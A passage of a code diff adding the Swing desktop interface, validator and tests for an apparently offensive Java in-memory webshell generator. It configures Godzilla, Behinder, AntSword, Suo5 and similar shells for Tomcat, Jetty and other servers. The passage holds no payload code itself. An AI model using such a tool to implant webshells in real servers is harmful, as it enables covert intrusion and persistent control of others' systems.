appendToolRows(shellConfig, toolConfig);
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
content.revalidate();
content.repaint();
}
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
if (toolConfig == null) {
row("参数", "");
return;
}
String tool = shellConfig == null ? null : shellConfig.getShellTool();
if (toolConfig instanceof GodzillaConfig) {
GodzillaConfig c = (GodzillaConfig) toolConfig;
row("密码", c.getPass());
row("密钥", c.getKey());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof BehinderConfig) {
BehinderConfig c = (BehinderConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CommandConfig) {
CommandConfig c = (CommandConfig) toolConfig;
row("参数名", c.getParamName());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
if (c.getTemplate() != null) {
row("命令模板", c.getTemplate());
}
} else if (toolConfig instanceof AntSwordConfig) {
AntSwordConfig c = (AntSwordConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof Suo5Config) {
Suo5Config c = (Suo5Config) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof ProxyConfig) {
ProxyConfig c = (ProxyConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof NeoreGeorgConfig) {
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CustomConfig) {
CustomConfig c = (CustomConfig) toolConfig;
String v = c.getShellClassBase64();
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
} else if (tool != null) {
row("工具类型", tool);
}
}
private void row(String key, String value) {
addValueRow(key, value);
}
private void addValueRow(String key, String value) {
String text = value == null ? "" : value;
content.add(new JLabel(key));
JTextField tf = new JTextField(text);
tf.setEditable(false);
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
tf.setOpaque(true);
tf.setBackground(UIManager.getColor("Panel.background"));
tf.setToolTipText(value == null ? "" : value);
tf.setToolTipText(text);
content.add(tf, "growx, wrap");
}
}
}
@@ -0,0 +1,118 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.*;
import java.util.List;
import java.util.function.Consumer;
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
protected final MemShellFormController controller;
protected final Runnable refreshAll;
protected boolean updating;
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
protected final JTextField urlPatternField = new JTextField();
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
protected final JTextField shellClassNameField = new JTextField();
protected final JTextField injectorClassNameField = new JTextField();
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
this.controller = controller;
this.refreshAll = refreshAll;
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
buildCommonShellTypeSection();
}
protected void buildCommonShellTypeSection() {
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
urlPatternRow = labeled("请求路径", urlPatternField);
shellTypeAndUrlRow.add(urlPatternRow, "growx");
add(shellTypeAndUrlRow, "span 2, growx, wrap");
shellTypeCombo.addActionListener(e -> {
if (updating) return;
Object item = shellTypeCombo.getSelectedItem();
if (item != null) {
controller.setShellType(String.valueOf(item));
refreshAll.run();
}
});
bindText(urlPatternField, controller::setUrlPattern);
}
protected void addRandomClassSection() {
add(randomClassNameCheck, "span 2, split 2, wrap");
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
add(manualClassPanel, "span 2, growx, hidemode 3");
randomClassNameCheck.addActionListener(e -> {
if (updating) return;
controller.setRandomClassName(randomClassNameCheck.isSelected());
refreshAll.run();
});
bindText(shellClassNameField, controller::setShellClassName);
bindText(injectorClassNameField, controller::setInjectorClassName);
}
protected JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label), "growx");
p.add(component, "growx");
return p;
}
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
protected void bindText(JTextField field, Consumer<String> setter) {
field.getDocument().addDocumentListener(new DocumentListener() {
@Override
public void insertUpdate(DocumentEvent e) {
changed();
}
@Override
public void removeUpdate(DocumentEvent e) {
changed();
}
@Override
public void changedUpdate(DocumentEvent e) {
changed();
}
private void changed() {
if (updating) return;
setter.accept(field.getText());
}
});
}
protected void applyCommonState(MemShellFormState s) {
updating = true;
try {
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
urlPatternField.setText(s.getUrlPattern());
randomClassNameCheck.setSelected(s.isRandomClassName());
boolean nextManualClassVisible = !s.isRandomClassName();
manualClassPanel.setVisible(nextManualClassVisible);
shellClassNameField.setText(s.getShellClassName());
injectorClassNameField.setText(s.getInjectorClassName());
} finally {
updating = false;
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class AntSwordToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setAntSwordPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getAntSwordPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class BehinderToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setBehinderPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getBehinderPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,99 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class CommandToolPanel extends AbstractToolPanel {
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
private final JTextField paramField = new JTextField();
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
private final JComboBox<String> encryptorCombo = new JComboBox<>();
private final JComboBox<String> implCombo = new JComboBox<>();
private final JTextField commandTemplateField = new JTextField();
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
paramRow.add(labeled("参数名(可选)", paramField), "growx");
add(paramRow, "span 2, growx, wrap, hidemode 3");
headerRow.add(labeled("请求头名", headerNameField), "growx");
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerRow, "span 2, growx, wrap, hidemode 3");
add(advancedToggle, "span 2, gapy 2 0, wrap");
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
advancedPanel.add(labeled("实现类", implCombo), "growx");
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(paramField, controller::setCommandParamName);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
bindText(commandTemplateField, controller::setCommandTemplate);
encryptorCombo.addActionListener(e -> {
if (updating) return;
Object item = encryptorCombo.getSelectedItem();
controller.setEncryptor(item == null ? "" : String.valueOf(item));
});
implCombo.addActionListener(e -> {
if (updating) return;
Object item = implCombo.getSelectedItem();
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
});
advancedToggle.addActionListener(e -> {
advancedPanel.setVisible(advancedToggle.isSelected());
revalidate();
repaint();
});
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
: s.getEncryptor();
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
: s.getImplementationClass();
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
boolean nextParamVisible = controller.isCommandParamVisible();
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
if (paramRow.isVisible() != nextParamVisible) {
layoutVisibilityChanged = true;
}
if (headerRow.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
paramRow.setVisible(nextParamVisible);
headerRow.setVisible(nextHeaderVisible);
paramField.setText(s.getCommandParamName());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
commandTemplateField.setText(s.getCommandTemplate());
boolean nextAdvancedVisible = advancedToggle.isSelected();
if (advancedPanel.isVisible() != nextAdvancedVisible) {
layoutVisibilityChanged = true;
}
advancedPanel.setVisible(nextAdvancedVisible);
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,131 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.event.ActionEvent;
import java.io.File;
import java.nio.file.Files;
import java.util.Base64;
public class CustomToolPanel extends AbstractToolPanel {
private final CustomClassNameParser parser;
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
private final JRadioButton fileMode = new JRadioButton("File");
private final JTextArea base64Area = new JTextArea(4, 40);
private final JButton fileButton = new JButton("选择 .class 文件");
private final JLabel fileLabel = new JLabel("未选择文件");
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
private final Timer parseDebounce;
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(controller, refreshAll);
this.parser = parser;
ButtonGroup group = new ButtonGroup();
group.add(base64Mode);
group.add(fileMode);
add(new JLabel("Shell Class"));
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
radioWrap.add(base64Mode);
radioWrap.add(fileMode);
add(radioWrap, "growx, wrap");
base64Panel.add(new JScrollPane(base64Area), "grow");
filePanel.add(fileLabel, "growx");
filePanel.add(fileButton);
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
addRandomClassSection();
parseDebounce = new Timer(400, this::parseAndFillClassName);
parseDebounce.setRepeats(false);
base64Area.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
controller.setShellClassBase64(base64Area.getText());
parseDebounce.restart();
}
});
base64Mode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("base64");
refreshAll.run();
});
fileMode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("file");
refreshAll.run();
});
fileButton.addActionListener(this::chooseFile);
}
private void chooseFile(ActionEvent event) {
JFileChooser chooser = new JFileChooser();
int result = chooser.showOpenDialog(this);
if (result != JFileChooser.APPROVE_OPTION) return;
File file = chooser.getSelectedFile();
try {
byte[] bytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(bytes);
controller.setShellClassBase64(base64);
fileLabel.setText(file.getName());
String className = parser.parseClassName(bytes);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ex) {
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
}
}
private void parseAndFillClassName(ActionEvent ignored) {
try {
String base64 = controller.getState().getShellClassBase64();
if (base64 == null || base64.trim().isEmpty()) return;
String className = parser.parseClassNameFromBase64(base64);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ignoredEx) {
// ignore parse errors while typing/pasting
}
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
boolean nextBase64Visible = base64Mode.isSelected();
boolean nextFileVisible = fileMode.isSelected();
if (base64Panel.isVisible() != nextBase64Visible) {
layoutVisibilityChanged = true;
}
if (filePanel.isVisible() != nextFileVisible) {
layoutVisibilityChanged = true;
}
base64Panel.setVisible(nextBase64Visible);
filePanel.setVisible(nextFileVisible);
base64Area.setText(s.getShellClassBase64());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class GodzillaToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField keyField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "growx");
add(labeled("密钥(可选)", keyField), "growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setGodzillaPass);
bindText(keyField, controller::setGodzillaKey);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override
public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getGodzillaPass());
keyField.setText(s.getGodzillaKey());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class NeoRegToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class ProxyToolPanel extends AbstractToolPanel {
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
headerPanel.add(labeled("请求头名", headerNameField), "growx");
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
if (headerPanel.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
headerPanel.setVisible(nextHeaderVisible);
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
public interface RefreshableToolPanel {
void refreshFromController();
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class Suo5ToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.desktop.memshell.util;
import java.awt.*;
import java.awt.datatransfer.StringSelection;
public final class ClipboardUtil {
private ClipboardUtil() {}
public static void copyText(String text) {
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
}
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
import java.awt.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public final class FileSaveUtil {
private FileSaveUtil() {}
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
}
}
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
JFileChooser chooser = new JFileChooser();
chooser.setSelectedFile(new File(suggestedName));
chooser.setFileFilter(filter);
int result = chooser.showSaveDialog(parent);
if (result != JFileChooser.APPROVE_OPTION) {
return null;
}
return chooser.getSelectedFile();
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import java.awt.*;
public final class SwingUiUtil {
private SwingUiUtil() {}
public static JPanel titledPanel(String title, LayoutManager layout) {
JPanel panel = new JPanel(layout);
panel.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createTitledBorder(title),
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
return panel;
}
public static void showError(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
}
public static void showInfo(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
}
public static void runOnEdt(Runnable runnable) {
if (SwingUtilities.isEventDispatchThread()) {
runnable.run();
} else {
SwingUtilities.invokeLater(runnable);
}
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellValidator {
public static class Result {
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
public boolean isValid() {
return fieldErrors.isEmpty();
}
public Map<String, String> getFieldErrors() {
return fieldErrors;
}
public void add(String field, String message) {
fieldErrors.put(field, message);
}
public String firstMessage() {
return fieldErrors.values().stream().findFirst().orElse("");
}
}
public Result validate(MemShellFormState s) {
Result r = new Result();
required(r, "server", s.getServer(), "请选择服务类型");
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
}
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
}
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
}
if ("Jetty".equals(s.getServer())
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
&& "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
}
return r;
}
public boolean needsUrlPattern(String shellType) {
if (shellType == null || shellType.trim().isEmpty()) return false;
if (shellType.startsWith("Agent")) return false;
return shellType.endsWith("Servlet") ||
shellType.endsWith("ControllerHandler") ||
shellType.equals("HandlerMethod") ||
shellType.equals("HandlerFunction") ||
shellType.endsWith("WebSocket");
}
public boolean isInvalidUrl(String urlPattern) {
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
}
private void required(Result r, String field, String value, String message) {
if (value == null || value.trim().isEmpty()) {
r.add(field, message);
}
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.*;
class MemShellFormControllerTest {
@Test
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServerVersion("Unknown");
controller.setUrlPattern("/abc");
controller.setServer("SpringWebFlux");
assertEquals("52", controller.getState().getTargetJdkVersion());
assertEquals("", controller.getState().getUrlPattern());
assertNotNull(controller.getState().getShellTool());
assertFalse(controller.getState().getShellTool().isEmpty());
}
@Test
void shouldFilterAgentPackersForAgentShellType() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setShellType("AgentFilterChain");
List<?> filtered = controller.getFilteredPackers();
assertFalse(filtered.isEmpty());
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
}
@Test
void shouldToggleRandomClassNameAndRestoreValues() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setRandomClassName(false);
controller.setShellClassName("a.b.C");
controller.setInjectorClassName("x.y.Z");
controller.setRandomClassName(true);
assertEquals("", controller.getState().getShellClassName());
assertEquals("", controller.getState().getInjectorClassName());
controller.setRandomClassName(false);
assertEquals("a.b.C", controller.getState().getShellClassName());
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.service;
import org.junit.jupiter.api.Test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.*;
class CustomClassNameParserTest {
@Test
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
CustomClassNameParser parser = new CustomClassNameParser();
byte[] bytes = readOwnClassBytes();
String expected = this.getClass().getName();
assertEquals(expected, parser.parseClassName(bytes));
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
}
private byte[] readOwnClassBytes() throws IOException {
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
InputStream in = this.getClass().getResourceAsStream(resource);
assertNotNull(in);
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
return out.toByteArray();
}
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class GenerationServiceTest {
@Test
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
GenerationService service = new GenerationService();
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
assertNotNull(result);
assertEquals("Base64", result.getPackMethod());
assertNotNull(result.getPackResult());
assertFalse(result.getPackResult().isEmpty());
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.desktop.memshell.ui;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class MemShellGeneratorFrameLayoutTest {
@Test
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
ref[0] = new MemShellGeneratorFrame();
}
});
try {
final JComponent[] contentRef = new JComponent[1];
final JButton[] buttonRef = new JButton[1];
final Dimension[] minSizeRef = new Dimension[1];
SwingUtilities.invokeAndWait(new Runnable() {
